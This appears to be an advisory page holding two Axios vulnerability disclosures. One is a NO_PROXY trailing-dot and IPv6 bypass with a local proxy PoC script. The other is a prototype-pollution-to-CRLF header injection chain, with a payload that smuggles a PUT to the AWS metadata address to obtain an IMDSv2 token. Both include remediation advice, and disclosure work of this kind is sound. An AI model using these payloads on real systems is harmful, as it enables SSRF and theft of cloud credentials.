Package Instance

Axios has a NO_PROXY Hostname Normalization Bypass Leads to SSRF
Axios does not correctly handle hostname normalization when checking `NO_PROXY` rules.
Requests to loopback addresses like `localhost.` (with a trailing dot) or `[::1]` (IPv6 literal) skip `NO_PROXY` matching and go through the configured proxy.

This goes against what developers expect and lets attackers force requests through a proxy, even if `NO_PROXY` is set up to protect loopback or internal services.

According to [RFC 1034 §3.1](https://datatracker.ietf.org/doc/html/rfc1034#section-3.1) and [RFC 3986 §3.2.2](https://datatracker.ietf.org/doc/html/rfc3986#section-3.2.2), a hostname can have a trailing dot to show it is a fully qualified domain name (FQDN). At the DNS level, `localhost.` is the same as `localhost`. 
However, Axios does a literal string comparison instead of normalizing hostnames before checking `NO_PROXY`. This causes requests like `http://localhost.:8080/` and `http://[::1]:8080/` to be incorrectly proxied.

This issue leads to the possibility of proxy bypass and SSRF vulnerabilities allowing attackers to reach sensitive loopback or internal services despite the configured protections.

---

**PoC**

```js
import http from "http";
import axios from "axios";

const proxyPort = 5300;

http.createServer((req, res) => {
  console.log("[PROXY] Got:", req.method, req.url, "Host:", req.headers.host);
  res.writeHead(200, { "Content-Type": "text/plain" });
  res.end("proxied");
}).listen(proxyPort, () => console.log("Proxy", proxyPort));

process.env.HTTP_PROXY = `http://127.0.0.1:${proxyPort}`;
process.env.NO_PROXY = "localhost,127.0.0.1,::1";

async function test(url) {
  try {
    await axios.get(url, { timeout: 2000 });
  } catch {}
}

setTimeout(async () => {
  console.log("\n[*] Testing http://localhost.:8080/");
  await test("http://localhost.:8080/"); // goes through proxy

  console.log("\n[*] Testing http://[::1]:8080/");
  await test("http://[::1]:8080/"); // goes through proxy
}, 500);
```

**Expected:** Requests bypass the proxy (direct to loopback).
**Actual:** Proxy logs requests for `localhost.` and `[::1]`.

---

**Impact**

* Applications that rely on `NO_PROXY=localhost,127.0.0.1,::1` for protecting loopback/internal access are vulnerable.
* Attackers controlling request URLs can:

  * Force Axios to send local traffic through an attacker-controlled proxy.
  * Bypass SSRF mitigations relying on NO\_PROXY rules.
  * Potentially exfiltrate sensitive responses from internal services via the proxy.
  
  
---

**Affected Versions**

* Confirmed on Axios **1.12.2** (latest at time of testing).
* affects all versions that rely on Axios’ current `NO_PROXY` evaluation.

---

**Remediation**
Axios should normalize hostnames before evaluating `NO_PROXY`, including:

* Strip trailing dots from hostnames (per RFC 3986).
* Normalize IPv6 literals by removing brackets for matching.

Axios has Unrestricted Cloud Metadata Exfiltration via Header Injection Chain
# Vulnerability Disclosure: Unrestricted Cloud Metadata Exfiltration via Header Injection Chain

## Summary
The Axios library is vulnerable to a specific "Gadget" attack chain that allows **Prototype Pollution** in any third-party dependency to be escalated into **Remote Code Execution (RCE)** or **Full Cloud Compromise** (via AWS IMDSv2 bypass).

While Axios patches exist for *preventing check* pollution, the library remains vulnerable to *being used* as a gadget when pollution occurs elsewhere. This is due to a lack of HTTP Header Sanitization (CWE-113) combined with default SSRF capabilities.

**Severity**: Critical (CVSS 9.9)
**Affected Versions**: All versions (v0.x - v1.x)
**Vulnerable Component**: `lib/adapters/http.js` (Header Processing)

## Usage of "Helper" Vulnerabilities
This vulnerability is unique because it requires **Zero Direct User Input**.
If an attacker can pollute `Object.prototype` via *any* other library in the stack (e.g., `qs`, `minimist`, `ini`, `body-parser`), Axios will automatically pick up the polluted properties during its config merge.

Because Axios does not sanitise these merged header values for CRLF (`\r\n`) characters, the polluted property becomes a **Request Smuggling** payload.

## Proof of Concept

### 1. The Setup (Simulated Pollution)
Imagine a scenario where a known vulnerability exists in a query parser. The attacker sends a payload that sets:
```javascript
Object.prototype['x-amz-target'] = "dummy\r\n\r\nPUT /latest/api/token HTTP/1.1\r\nHost: 169.254.169.254\r\nX-aws-ec2-metadata-token-ttl-seconds: 21600\r\n\r\nGET /ignore";
```

### 2. The Gadget Trigger (Safe Code)
The application makes a completely safe, hardcoded request:
```javascript
// This looks safe to the developer
await axios.get('https://analytics.internal/pings'); 
```

### 3. The Execution
Axios merges the prototype property `x-amz-target` into the request headers. It then writes the header value directly to the socket without validation.

**Resulting HTTP traffic:**
```http
GET /pings HTTP/1.1
Host: analytics.internal
x-amz-target: dummy

PUT /latest/api/token HTTP/1.1
Host: 169.254.169.254
X-aws-ec2-metadata-token-ttl-seconds: 21600

GET /ignore HTTP/1.1
...
```

### 4. The Impact (IMDSv2 Bypass)
The "Smuggled" second request is a valid `PUT` request to the AWS Metadata Service. It includes the required `X-aws-ec2-metadata-token-ttl-seconds` header (which a normal SSRF cannot send).
The Metadata Service returns a session token, allowing the attacker to steal IAM credentials and compromise the cloud account.

## Impact Analysis
-   **Security Control Bypass**: Defeats AWS IMDSv2 (Session Tokens).
-   **Authentication Bypass**: Can inject headers (`Cookie`, `Authorization`) to pivot into internal administrative panels.
-   **Cache Poisoning**: Can inject `Host` headers to poison shared caches.

## Recommended Fix
Validate all header values in `lib/adapters/http.js` and `xhr.js` before passing them to the underlying request function.

**Patch Suggestion:**
```javascript
// In lib/adapters/http.js
utils.forEach(requestHeaders, function setRequestHeader(val, key) {
  if (/[\r\n]/.test(val)) {
    throw new Error('Security: Header value contains invalid characters');
  }
  // ... proceed to set header
});
```

## References
-   **OWASP**: CRLF Injection (CWE-113)

This report was generated as part of a security audit of the Axios library.